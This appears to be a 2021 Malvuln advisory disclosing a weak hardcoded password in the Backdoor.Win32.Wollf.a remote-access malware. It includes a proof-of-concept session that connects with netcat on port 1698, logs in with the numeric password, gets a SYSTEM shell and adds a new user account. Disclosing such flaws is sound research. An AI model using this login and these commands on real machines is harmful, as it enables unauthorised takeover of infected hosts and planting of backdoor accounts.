Backdoor.Win32.Wollf.a / Weak Hardcoded Password

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/52d1341f73c34ba2638581469120b68a.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1698 and runs with SYSTEM
integrity. Authentication is required for remote user access. However, the
password "23706373" is weak and hardcoded within the executable. The
malware is packed with UPX and exposes the cleartext all numeric
credentials when decompressed.
Type: PE32
MD5: 52d1341f73c34ba2638581469120b68a
Vuln ID: MVID-2021-0404
Dropped files: keygen.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 1698
Login: 23706373

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully


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